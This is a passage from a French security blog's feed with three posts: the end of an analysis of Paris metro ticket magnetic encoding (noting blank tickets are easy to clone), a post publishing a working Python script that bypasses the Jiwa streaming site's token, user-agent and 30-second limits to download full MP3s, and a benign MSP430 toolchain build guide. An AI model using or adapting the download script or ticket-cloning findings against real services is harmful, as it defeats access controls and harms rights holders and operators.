&lt;li&gt;La première série de bits à 1 sert probablement au système de lecture à calculer la vitesse de balayage, une sorte de padding&lt;/li&gt;
&lt;li&gt;La séquence suivante de 5 bits correspond probablement au type de ticket. Je n'ai pas pu prendre d'autres tickets pour corroborer cette hypothèse&lt;/li&gt;
&lt;li&gt;La deuxième séquence de 5 bits semble être un marqueur&lt;/li&gt;
&lt;li&gt;Les troisième et quatrième séquences semblent être un code de station (présent sur les tickets compostés)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si on regarde de plus près le codage, on peut voir que sur le premier ticket validé les troisième et quatrième séquences de 5 bits correspondent aux valeurs 69 et 6E. Ou plus précisemment aux valeurs 6 et 9, et 6 et 14. Cela ressemble bien aux codes de stations connus de Paris, &lt;a class="reference external" href="http://fr.wikipedia.org/wiki/Liste_des_codes_d'oblit%C3%A9ration_du_m%C3%A9tro_de_Paris"&gt;tels que décrit sur Wikipédia&lt;/a&gt;. Cela signifie qu'un de mes tickets a été validé à Saint-Lazare même (code station 0609), l'autre à la station ayant pour code 0614 (inconnu sur Wikipédia oO). Le dernier bit que j'ai repéré semble être un bit de parité.&lt;/p&gt;
&lt;p&gt;Le plus drôle dans l'histoire, c'est de voir que le ticket vierge n'a aucune valeur paramétrée, si ce n'est le type de ticket (première séquence de 5 bits). Donc facile à cloner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La sécurité des tickets de métro ... heuu.... quelle sécurité ? Il est &lt;em&gt;a priori&lt;/em&gt; aisé de dupliquer des tickets neufs (aucune limite dans le temps ni dans l'espace}, la seule limitation est technique (il faut un matériel particulier). De même, je n'ai pas détaillé ici le décodage complet mais la suite des bits stockés représentent très certainement la date de validation et l'heure de validation, mais je n'ai pas vraiment cherché à le décoder.&lt;/p&gt;
&lt;p&gt;Heureusement qu'il y a le passe Navigo pour tous nous sauver (spéciale dédicace à Nono2357 ;).&lt;/p&gt;
</content><category term="Sécu"/><category term="désassemblage"/><category term="sécurité"/></entry><entry><title>Jiwa v3, retour à la case départ</title><link href="https://virtualabs.fr/humeur/Jiwa-v3-retour-a-la-case-depart" rel="alternate"/><published>2012-02-17T08:30:00+01:00</published><updated>2012-02-17T08:30:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-02-17:/humeur/Jiwa-v3-retour-a-la-case-depart</id><summary type="html">&lt;p&gt;Je suis retourné sur &lt;a class="reference external" href="http://jiwa.fr/"&gt;Jiwa&lt;/a&gt; aujourd'hui. Je m'attendais à trouver ma plateforme de musique habituelle, mais je me suis rendu compte que cela faisait un bail que je n'y avais pas été. Le site a complètement changé de look et &lt;a class="reference external" href="http://www.numerama.com/magazine/19377-jiwa-se-fait-racheter-par-allomusic.html"&gt;a été repris par *Allomusic*&lt;/a&gt; qui en a profité pour …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je suis retourné sur &lt;a class="reference external" href="http://jiwa.fr/"&gt;Jiwa&lt;/a&gt; aujourd'hui. Je m'attendais à trouver ma plateforme de musique habituelle, mais je me suis rendu compte que cela faisait un bail que je n'y avais pas été. Le site a complètement changé de look et &lt;a class="reference external" href="http://www.numerama.com/magazine/19377-jiwa-se-fait-racheter-par-allomusic.html"&gt;a été repris par *Allomusic*&lt;/a&gt; qui en a profité pour le PURifier à l'Hadopi. Vu que je m'étais bien intéressé à cette plateforme il y a de cela quelques années, je me suis demandé si les choses avaient changé. Et puis parce que cette satanée limitation de 30 secondes d'écoute m'a été insupportable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jiwa version 3&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme en témoigne le code source de Jiwa, le site est passé en vesion 3:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;lt;head prefix=&amp;quot;og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# jiwavtrois: http://ogp.me/ns/fb/jiwavtrois#&amp;quot;&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Jiwa avait fait de nombreux efforts il y a quelques années pour empêcher le téléchargement des fichiers MP3 et leur sauvegarde. J'avais d'ailleurs à l'époque rédigé quelques articles et développé &lt;a class="reference external" href="http://virtualabs.fr/Mise-a-jour-iJaw-version-1-0-5"&gt;une extension Firefox dédiée&lt;/a&gt;. Il semble donc raisonnable de penser que les protections mises en place dans le code sont identiques ou meilleures que les dernières implémentées.&lt;/p&gt;
&lt;p&gt;J'ai donc repris mes anciens &lt;em&gt;Proof of Concept&lt;/em&gt;, et je me suis attelé à la tâche. J'ai tout simplement réessayé mes outils, sans succès. J'ai donc sorti l'artillerie lourde (paros + firefox) et commencé à regarder les requêtes et là, ce fut la surprise. Une grosse suprise. Non seulement quelques détails ont changé, certes très minimes, mais j'ai pu retrouver des requêtes similaires à celles employées quelques années plus tôt sur Jiwa ... Comme si on avait fait un bond en arrière de quelques années.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C'est reparti comme en 40 !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Autant dans la version précédente de Jiwa, on pouvait toujours écouter sans limite, autant avec la version actuelle Jiwa ne sert que d'appât: les pages redirigent pour l'écoute vers le site d'Allomusic, qui bride énormément les contenus et force un poil la main pour amener le visiteur à prendre un compte &lt;em&gt;Premium&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Il faut dire qu'à l'époque où je m'étais interessé à Jiwa, l'écoute en ligne était toujours possible, ce qui par ailleurs me satisfaisait pleinement. Mais dans la configuration actuelle, je trouve ça un brin décevant de se servir de l'ancienne image de Jiwa pour essayer de remonter l'image d'un autre service.&lt;/p&gt;
&lt;p&gt;On s'éloigne quand même du modèle original de Jiwa, et même de celui de Deezer: il ne s'agit plus de streaming gratuit en ligne reposant sur de la pub mais d'une version lite qui vise à convertir les utilisateurs en comptes &lt;em&gt;Premium&lt;/em&gt;. Certainement une preuve que le modèle économique qui se veut reposer sur la pub n'est pas viable, comme a pu l'expérimenter Deezer. Sans parler des tarifs faramineux demandés par les majors comme Universal Music.&lt;/p&gt;
&lt;p&gt;Alors bon, je ne suis pas un fervent adepte de ce système, bon nombre de lecteurs le savent, et j'ai adapté mes précédents scripts pour prendre en charge la version actuelle de Jiwa. Plusieurs restrictions ont été mises en œuvres pour éviter le téléchargement:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;bridage par user-agent&lt;/li&gt;
&lt;li&gt;système de token (comme dans les versions précédentes)&lt;/li&gt;
&lt;li&gt;30s d'écoute&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le détail amusant c'est que même si l'écoute est limitée à 30 secondes, le fichier MP3 complet est téléchargé. Le bridage par user-agent est même complètement inefficace, je soupçonne même le script distant de bugger quasi aléatoirement ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iJaw nouvelle génération&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour ceux qui seraient intéressés, je diffuse ci-après le code source de mon &lt;em&gt;Proof of Concept&lt;/em&gt; amélioré. Ce bout de code python est un poil sale, mais je ne compte pas le maintenir. C'est une preuve de concept, juste présente pour démontrer ce que j'affirme dans ce billet.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&amp;quot;&amp;quot;&amp;quot;
Crapy Jiwa download tool
&amp;quot;&amp;quot;&amp;quot;

import re
import sys
import json
import time
from hashlib import md5
from random import choice
import urllib,httplib,urllib2

def filter(s):
        return s.replace(&amp;#39;\n&amp;#39;,&amp;#39; &amp;#39;)

def randomUA():
        rstr = &amp;#39;&amp;#39;.join([choice(&amp;#39;0123456789&amp;#39;) for i in range(32)])
        return &amp;#39;Mozilla Firefox (%s)&amp;#39;%rstr

def getSongDetails(sid):
        r = urllib2.Request(&amp;#39;http://www.jiwa.fr/song/%d/play/&amp;#39;%sid)
        resp = urllib2.urlopen(r).read()
        return json.loads(resp)

def lookupSongs(keywords):
        try:
                r = urllib2.Request(&amp;#39;http://www.jiwa.fr/search?q=%s&amp;#39;%urllib.quote(keywords))
                resp = urllib2.urlopen(r).read()
                matches = re.findall(&amp;#39;/track/.*-([0-9]+)\.html&amp;#39;,resp)
                res = []
                for match in list(set(matches))[:5]:
                        res.append(getSongDetails(int(match)))
                return res
        except urllib2.Error,e:
                return None


def dlTrack(sid,filename):
        errors = 0
        while errors&amp;lt;3:
                token = getToken(sid)
                _t = token.split(&amp;#39;=&amp;#39;)
                url = &amp;#39;http://m.jiwa.fm/play.php&amp;#39;
                l1 = &amp;#39;gwqd29ydg7sqys_qsh0&amp;#39;
                l3 = _t[0]
                l4 = _t[1]
                l5 = _t[2]
                l6 = _t[3]
                l7 = md5(l1).hexdigest()
                l8 = md5(l3+l7+str(sid)).hexdigest()
                url = &amp;quot;%s?r=%s&amp;amp;s=%s&amp;amp;t=%s&amp;amp;m=%s&amp;amp;from=1&amp;quot; % (url,l4,str(sid),l8,l6)

                r = httplib.HTTPConnection(&amp;#39;m.jiwa.fm:80&amp;#39;)
                r.putrequest(&amp;#39;GET&amp;#39;,url)
                r.putheader(&amp;#39;Host&amp;#39;,&amp;#39;m.jiwa.fm:80&amp;#39;)
                r.putheader(&amp;#39;User-Agent&amp;#39;,randomUA())
                r.endheaders()
                token = r.getresponse().read()
                if token==&amp;#39;-1&amp;#39;:
                        errors += 1
                        time.sleep(1)
                else:
                        f = open(filename,&amp;#39;wb&amp;#39;)
                        f.write(token)
                        f.close()
                        return True
        return False

def getToken(sid):
        params = *
        &amp;#39;s&amp;#39;:str(sid),
        *
        p = urllib.urlencode(params)

        r = httplib.HTTPConnection(&amp;#39;m.jiwa.fm:80&amp;#39;)
        r.putrequest(&amp;#39;POST&amp;#39;,&amp;#39;http://m.jiwa.fm/token.php?r=1&amp;#39;)
        r.putheader(&amp;#39;Host&amp;#39;,&amp;#39;m.jiwa.fm:80&amp;#39;)
        r.putheader(&amp;#39;User-Agent&amp;#39;,randomUA())
        r.putheader(&amp;#39;Content-Type&amp;#39;,&amp;#39;application/x-www-form-urlencoded&amp;#39;)
        r.putheader(&amp;#39;Content-Length&amp;#39;,str(len(p)))
        r.endheaders()
        r.send(p)

        token = r.getresponse().read()
        return token


if __name__ == &amp;#39;__main__&amp;#39;:

        print &amp;#39;[&amp;gt;] iJaw - A Jiwa search &amp;amp; download tool&amp;#39;
        print &amp;#39;[&amp;gt;] author: virtualabs (http://www.virtualabs.fr)&amp;#39;
        print &amp;#39;[&amp;gt;]&amp;#39;

        if len(sys.argv)&amp;gt;2:
                operator = sys.argv[1]
                if operator == &amp;#39;search&amp;#39;:
                        kw = &amp;#39; &amp;#39;.join(sys.argv[2:])
                        print &amp;#39;[+] Looking for songs ...&amp;#39;
                        tracks = lookupSongs(kw)
                        if tracks:
                                if len(tracks)&amp;gt;0:
                                        print &amp;#39;&amp;#39;
                                        print &amp;#39;Song ID  - Song Name [Artist, Album]&amp;#39;
                                        print &amp;#39;&amp;#39;
                                        for t in tracks:
                                                print &amp;#39;%s - %s [%s, %s]&amp;#39; % (t[&amp;#39;songId&amp;#39;],filter(t[&amp;#39;songName&amp;#39;]),filter(t[&amp;#39;artistName&amp;#39;]),filter(t[&amp;#39;albumName&amp;#39;]))
                                        print &amp;#39;&amp;#39;
                                        print &amp;#39;%d songs found&amp;#39; % len(tracks)
                                else:
                                        print &amp;#39;[!] No songs found.&amp;#39;
                        else:
                                print &amp;#39;[!] No songs found.&amp;#39;
                elif operator == &amp;#39;get&amp;#39;:
                        tracks = [t for t in sys.argv[2:]]
                        for sid in tracks:
                                print &amp;#39;[+] getting track info ...&amp;#39;
                                _track = getSongDetails(int(sid))
                                filename = &amp;#39;%s_%s_%s.mp3&amp;#39; % (_track[&amp;#39;artistName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;),_track[&amp;#39;albumName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;),_track[&amp;#39;songName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;))
                                print &amp;#39;[+] downloading track ...&amp;#39;
                                if dlTrack(sid,filter(filename)):
                                        print &amp;#39;[i] saved to %s.&amp;#39; % filter(filename)
                                else:
                                        print &amp;#39;[!] Unable to download song.&amp;#39;
                elif operator == &amp;#39;dl&amp;#39;:
                        kw = &amp;#39; &amp;#39;.join(sys.argv[2:])
                        tracks = lookupSongs(kw)
                        if tracks:
                                for t in tracks:
                                        _track = getSongDetails(t[&amp;#39;songId&amp;#39;])
                                        filename = &amp;#39;%s_%s_%s.mp3&amp;#39; % (_track[&amp;#39;artistName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;),_track[&amp;#39;albumName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;),_track[&amp;#39;songName&amp;#39;].replace(&amp;#39; &amp;#39;,&amp;#39;_&amp;#39;))
                                        print &amp;#39;[+] downloading song &amp;quot;%s [%s]&amp;quot; ...&amp;#39; % (_track[&amp;#39;songName&amp;#39;],_track[&amp;#39;artistName&amp;#39;])
                                        if dlTrack(int(t[&amp;#39;songId&amp;#39;]),filter(filename)):
                                                print &amp;#39;[i] saved to %s.&amp;#39; % filter(filename)
                                        else:
                                                print &amp;#39;[!] Failed to download song: %s&amp;#39; % _track[&amp;#39;songName&amp;#39;]
                                print &amp;#39;[+] Done.&amp;#39;
                        else:
                                print &amp;#39;[!] No songs found&amp;#39;
        else:
                print &amp;#39;[i] usage: %s [search|get|dl] [second arg]&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i] + you can look for songs:&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i]  $ ijaw.py search Madonna like a virgin&amp;#39;
                print &amp;#39;[i]  $ 12345 - Like a virgin [Madonna, ...]&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i] + and download a given song with its ID:&amp;#39;
                print &amp;#39;[i]  $ ijaw.py get 12345&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i] + or download all tracks found:&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i]  $ ijaw.py dl Madonna like a virgin&amp;#39;
                print &amp;#39;[i]&amp;#39;
                print &amp;#39;[i] + Have phun !&amp;#39;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il est étonnant que le passage de Jiwa sous la houlette d'Allomusic n'ait pas introduit un nouveau système plus fiable de lecture de musique en ligne, et il est franchement dommage qu'une plateforme labellisée &lt;em&gt;PUR&lt;/em&gt; force autant la main de l'utilisateur vers les comptes payants, en tentant de promouvoir l'écoute gratuite mais très limitée. OK, le modèle économique basé sur les pubs n'est pas forcément viable, mais on est pas QUE des vaches à lait. A bon entendeur ...&lt;/p&gt;
</content><category term="Humeur"/><category term="streaming"/><category term="jiwa"/></entry><entry><title>Découverte du TI Launchpad</title><link href="https://virtualabs.fr/geekeries/Decouverte-du-TI-Launchpad" rel="alternate"/><published>2012-02-11T11:11:06+01:00</published><updated>2012-02-11T11:11:06+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-02-11:/geekeries/Decouverte-du-TI-Launchpad</id><summary type="html">&lt;p&gt;Lors du dernier &lt;a class="reference external" href="http://www.hackerzvoice.net/Meetings"&gt;meeting HZV&lt;/a&gt;, Mandarine a présenté le TI Launchpad, un circuit d'expérimentation réalisé par TI et basé sur un micro-contrôleur MSP430. J'avais auparavant entendu parler d'Arduino, et même eu dans les mains un Arduino prêté par l'ami &lt;a class="reference external" href="http://www.tixlegeek.com"&gt;Tixlegeek&lt;/a&gt;, mais j'hésitais à en acheter un. Et je dois avouer …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Lors du dernier &lt;a class="reference external" href="http://www.hackerzvoice.net/Meetings"&gt;meeting HZV&lt;/a&gt;, Mandarine a présenté le TI Launchpad, un circuit d'expérimentation réalisé par TI et basé sur un micro-contrôleur MSP430. J'avais auparavant entendu parler d'Arduino, et même eu dans les mains un Arduino prêté par l'ami &lt;a class="reference external" href="http://www.tixlegeek.com"&gt;Tixlegeek&lt;/a&gt;, mais j'hésitais à en acheter un. Et je dois avouer que le MSP430 m'a fait craquer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Arduino vs. TI Launchpad&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lorsque Mandarine a présenté le TI Launchpad, je m'attendais à quelque chose d'un peu &lt;em&gt;roots&lt;/em&gt;, et je n'ai pas été déçu. Contrairement à l'Arduino, le Launchpad ne possède aucun module d'extension officiel (ce qu'on nomme &lt;em&gt;shields&lt;/em&gt; chez Arduino), et il faut donc tout concevoir. Cette approche me plaît plus qu'avec Arduino, car cela nécessite une documentation et un effort de la part de celui qui veut concevoir un circuit basé sur un MSP430. Mais c'est vrai que cela peut faire peur. Toutefois, mis à part cet aspect rustique de la &lt;em&gt;board&lt;/em&gt; de TI, plusieurs éléments m'ont séduit.&lt;/p&gt;
&lt;p&gt;Le premier d'entre eux est l'existence de plusieurs &lt;em&gt;packages&lt;/em&gt; Debian et Ubuntu offrant la possibilité de développer en C et même en C++ sur MSP430, en s'affranchissant royalement d'une surcouche, contrairement à Arduino où il faut employer l'IDE Arduino et la couche Arduino, qui n'améliore pas les performances. Ces outils sont opensource, et dérivés des outils standards GNU comme binutils et gcc. J'aime.&lt;/p&gt;
&lt;p&gt;Second point, le prix. C'est idiot, mais à 4 dollars et 30 cents le TI Launchpad, cela vaut vraiment le coup. Sans compter qu'un MSP430 de rechange est fourni (si vous grillez celui installé sur la &lt;em&gt;board&lt;/em&gt;), ainsi que des contacteurs et un micro-quartz que l'on peut souder pour améliorer la stabilité de l'horloge. Et un cordon USB. Pour seulement un peu plus de 4 dollars. Comparé aux 20 et quelques euros réclamés pour un Arduino UNO, c'est très intéressant.&lt;/p&gt;
&lt;p&gt;J'ai donc décidé d'en commander deux, pour voir exactement ce que c&amp;quot;est et comment cela pourrait me servir dans mes projets hardware. Et je viens de les recevoir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unboxing du TI Launchpad&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je dois avouer que tout cela est très bien packagé: une belle boîte (quoique, dans mon cas recouvertes d'étiquettes en tout genre), une présentation soignée, et des stickers de surcroît !&lt;/p&gt;
&lt;img alt="Boîte du Launchpad" src="/images/launchpad_box.jpg" /&gt;
&lt;img alt="Unboxing du Launchpad" src="/images/launchpad_unbox.jpg" /&gt;
&lt;img alt="ZE Launchpad" src="/images/launchpad_top.jpg" /&gt;
&lt;img alt="Les accessoires" src="/images/launchpad_accessoires.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Installation de la toolchain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La &lt;em&gt;toolchain&lt;/em&gt; est en réalité un ensemble d'outils permettant de développer et compiler des programmes pour le MSP430 du Launchpad. Heureusement, plusieurs paquets existent pour les distributions Debian et Ubuntu:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430-gcc
msp430-libc
mspdebug
&lt;/pre&gt;
&lt;p&gt;Mais en réalité, ces paquets ne sont disponibles que sur Ubuntu 10.10 ou Debian sid (testing). Or ma distribution de choix est Squeeze (Debian 6.0), et ces paquets ne sont pas compatibles. J'ai bien essayé de les installer à la barbare, mais rien n'y fait. Pas le choix donc que de trouver une solution alternative: la compilation from scratch.&lt;/p&gt;
&lt;p&gt;Pour les heureux possesseurs d'une Debian Squeeze qui souhaiteraient comme moi tester le Launchpad de TI et son MSP430, je vous livre dans les lignes suivantes la technique pour installer proprement et correctement la toolchain, testé et approuvé.&lt;/p&gt;
&lt;p&gt;L'outil &lt;em&gt;msp430-gcc&lt;/em&gt; est en réalité une version modifiée du célèbre compilateur GNU GCC, et un projet créé par des adorateurs ultimes du MSP430 a été créé de manière à fournir aux libristes un moyen de créer cette toolchain: j'ai nommé le projet &lt;a class="reference external" href="http://mspgcc.sourceforge.net"&gt;mspgcc&lt;/a&gt;. Ce projet contient un ensemble de patches à appliquer à des versions publiées et stables d'outils GNU (comme binutils et gcc) afin d'obtenir des binaires permettant de compiler des programmes pour MSP430.&lt;/p&gt;
&lt;p&gt;Avant toute chose, il faut passer &lt;em&gt;root&lt;/em&gt; sur sa machine, et créer un dossier dédié à la construction de la &lt;em&gt;toolchain&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ su -
#&amp;nbsp;mkdir msp430
# cd msp430
&lt;/pre&gt;
&lt;p&gt;On s'assure ensuite d'avoir tous les paquets nécessaires à la compilation:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430:/# apt-get install libmpfr-dev libncurses5-dev zlibc zlib1g-dev libx11-dev libusb-dev libreadline6-dev libgmp3-dev libmpc-dev make
&lt;/pre&gt;
&lt;p&gt;Ensuite, on récupère la version LTS (Long-Term Support) de mspgcc :&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/:# wget -O mspgcc.tar.bz2 http://downloads.sourceforge.net/project/mspgcc/mspgcc/mspgcc-20120406.tar.bz2?r=&amp;amp;ts=1359415411&amp;amp;use_mirror=ignum
msp430/:# tar xvjf mspgcc.tar.bz2
msp430/:# mv mspgcc-20120406 mspgcc
msp430/:# cd mspgcc
msp430/mspgcc/:#
&lt;/pre&gt;
&lt;p&gt;On jette un oeil aux versions des logiciels requis pour les patches:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# ls -Al
drwxr-sr-x 2 root root   4096  6 avril  2012 docs
drwxr-sr-x 4 root root   4096  6 avril  2012 htdocs
-rw-r--r-- 1 root root 342378  6 avril  2012 msp430-binutils-2.21.1a-20120406.patch
-rw-r--r-- 1 root root 390548  6 avril  2012 msp430-gcc-4.6.3-20120406.patch
-rw-r--r-- 1 root root 382048  6 avril  2012 msp430-gdb-7.2a-20111205.patch
-rw-r--r-- 1 root root      9  6 avril  2012 msp430-libc.version
-rw-r--r-- 1 root root      9  6 avril  2012 msp430mcu.version
-rw-r--r-- 1 root root   2955  6 avril  2012 README
-rw-r--r-- 1 root root  52679  6 avril  2012 RELEASES.TXT
&lt;/pre&gt;
&lt;p&gt;Cette version de mspgcc se base sur la version 2.21.1a de binutils, la version 4.6.3 de gcc et la version 7.2a de gdb. On télécharge ces logiciels sous forme d'archive de code source dans le dossier courant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/binutils/binutils-2.21.1a.tar.bz2
msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/gcc/gcc-4.6.3/gcc-4.6.3.tar.bz2
msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/gdb/gdb-7.2a.tar.bz2
&lt;/pre&gt;
&lt;p&gt;Et on les décompresse dans le dossier courant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# tar xvjf binutils-2.21.1a.tar.bz2
msp430/mspgcc/:# tar xvjf gcc-4.6.3.tar.bz2
msp430/mspgcc/:# tar xvjf gdb-7.2a.tar.bz2
&lt;/pre&gt;
&lt;p&gt;On applique ensuite les patches du projet mspgcc. Attention, cette étape est cruciale, si vous l'oubliez la suite ne fonctionnera pas !&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# cd binutils-2.21.1
msp430/mspgcc/binutils-2.21.1/:# patch -p1 &amp;lt; ../msp430-binutils-2.21.1a-20120406.patch
msp430/mspgcc/:# cd ../gcc-4.6.3/
msp430/mspgcc/gcc-4.6.3/:# patch -p1 &amp;lt; ../msp430-gcc-4.6.3-20120406.patch
msp430/mspgcc/:# cd ../gdb-7.2/
msp430/mspgcc/gdb-7.2/:# patch -p1 &amp;lt; ../msp430-gdb-7.2a-20111205.patch
msp430/mspgcc/gdb-7.2/:# cd ..
&lt;/pre&gt;
&lt;p&gt;Avant de commencer à construire la toolchain, il faut au préalable créer un dossier de destination dans lequel on installera les binaires. J'ai opté pour /opt/msp430, mais libre à vous de choisir le nom et l'emplacement qui vous plaît.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# mkdir /opt/msp430
msp430/mspgcc/:# export BUILD=/opt/msp430
&lt;/pre&gt;
&lt;p&gt;On configure et on compile les binutils:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# cd binutils-2.21.1
msp430/mspgcc/binutils-2.21.1/:# ./configure --target=msp430 --prefix=$BUILD
msp430/mspgcc/binutils-2.21.1/:# make &amp;amp;&amp;amp; make install
msp430/mspgcc/binutils-2.21.1/:# cd ..
&lt;/pre&gt;
&lt;p&gt;On configure et on compile gcc:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# cd gcc-4.6.3
msp430/mspgcc/gcc-4.6.3/:# mkdir gcc-build
msp430/mspgcc/gcc-4.6.3/gcc-build/:# ../configure --target=msp430 --enable-languages=c,c++ --prefix=$BUILD
msp430/mspgcc/gcc-4.6.3/gcc-build/:# make &amp;amp;&amp;amp; make install
&lt;/pre&gt;
&lt;p&gt;Et pour terminer, on configure et on compile gdb:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/mspgcc/:# cd gdb-7.2
msp430/mspgcc/gdb-7.2/:# ../configure --target=msp430 --prefix=$BUILD
msp430/mspgcc/gdb-7.2/:# make &amp;amp;&amp;amp; make install
&lt;/pre&gt;
&lt;p&gt;Les outils de compilation ont été installés dans le dossier /opt/msp430 (ou celui que vous avez paramétré). Il ne reste plus qu'à installer la libc compilée pour le MSP430 et les entêtes. Pour cela, il faut récupérer sur le site du projet les fichiers suivants:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430mcu-20120716.tar.bz2
msp430-libc-20120716.tar.bz2
&lt;/pre&gt;
&lt;p&gt;La compilation de la libc nécessite que le binaire msp430-gcc, produit lors de la compilation de gcc pour msp430, soit accessible dans le PATH:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/:# export PATH=$*PATH*:$BUILD/bin
&lt;/pre&gt;
&lt;p&gt;On peut ensuite décompresser la libc, la configurer, la compiler et l'installer:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/:#&amp;nbsp;tar xvjf msp430-libc-20120716.tar.bz2
msp430/:# cd msp430-libc-20120716
msp430/msp430-libc-20120716/:#&amp;nbsp;./configure --prefix=$BUILD
msp430/msp430-libc-20120716/:# cd src
msp430/msp430-libc-20120716/src:# make &amp;amp;&amp;amp; make install
msp430/msp430-libc-20120716/src:# cd ../../
&lt;/pre&gt;
&lt;p&gt;Et terminer par l'installation des entêtes de développement:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/:#&amp;nbsp;tar xvjf msp430mcu-20120716.tar.bz2
msp430/:# cd msp430mcu-20120716
msp430/msp430mcu-20120716/:# export MSP430MCU_ROOT=$(pwd)
msp430/msp430mcu-20120716/:# scripts/install.sh $BUILD
&lt;/pre&gt;
&lt;p&gt;Bon, voilà une bonne chose de faite ! On a installé gcc, gdb, la libc et les entêtes de développement. Nous allons aussi modifier le fichier &lt;em&gt;/etc/profile&lt;/em&gt; pour qu'il prenne en compte nos binaires créés. Pour cela on l'édite, et on ajoute la ligne suivante à la fin du fichier:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
export PATH=$*PATH*:/opt/msp430/bin
&lt;/pre&gt;
&lt;p&gt;On recharge ensuite notre profil:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# source /etc/profile
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Installation de mspdebug&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mspdebug est l'outil nécessaire pour programmer et déboguer le MSP430. Il s'agit encore une fois d'un projet opensource, que l'on va installer sur notre machine. Téléchargez la dernière version sur &lt;a class="reference external" href="http://sourceforge.net/projects/mspdebug/files/"&gt;Sourceforge&lt;/a&gt;, puis installez-la:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
msp430/:#&amp;nbsp;tar xvzf mspdebug-0.21.tar.gz
msp430/:# cd mspdebug-0.21/
msp430/mspdebug-0.21/:#&amp;nbsp;./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Configuration d'UDEV&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Afin que notre Launchpad soit détecté par USB, il faut s'assurer qu'une règle est bien présente dans la configuration d'UDEV. Si elle n'y est pas, il faut la créer:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# cat /etc/udev/rules.d/46-launchpad.rules
ATTRS*idVendor*=='0451',ATTRS*idProduct*=='f432',MODE='0660',GROUP='plugdev'
&lt;/pre&gt;
&lt;p&gt;Une fois cela effectué, vous pouvez vous amuser avec votre launchpad. Vous trouverez notamment un programme exemple sur &lt;a class="reference external" href="http://hackaday.com/2010/08/11/how-to-launchpad-programming-with-linux/"&gt;Hack a Day&lt;/a&gt;, et la manière de programmer le MSP430 avec mspdebug. Je ferai certainement un prochain billet sur le développement sur Launchpad.&lt;/p&gt;
&lt;p&gt;Bon, pour la route je vous donne mon Helloworld:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;int main(void) {
  /* disable watchdog */
  WDTCTL = WDTPW + WDTHOLD;

  P1DIR = BIT0|BIT6;
  P1OUT = BIT6;

  while(1) {
        if ((P1IN &amp;amp; BIT3)==BIT3)
                P1OUT = BIT6;
        else
                P1OUT = BIT0;
  }
}
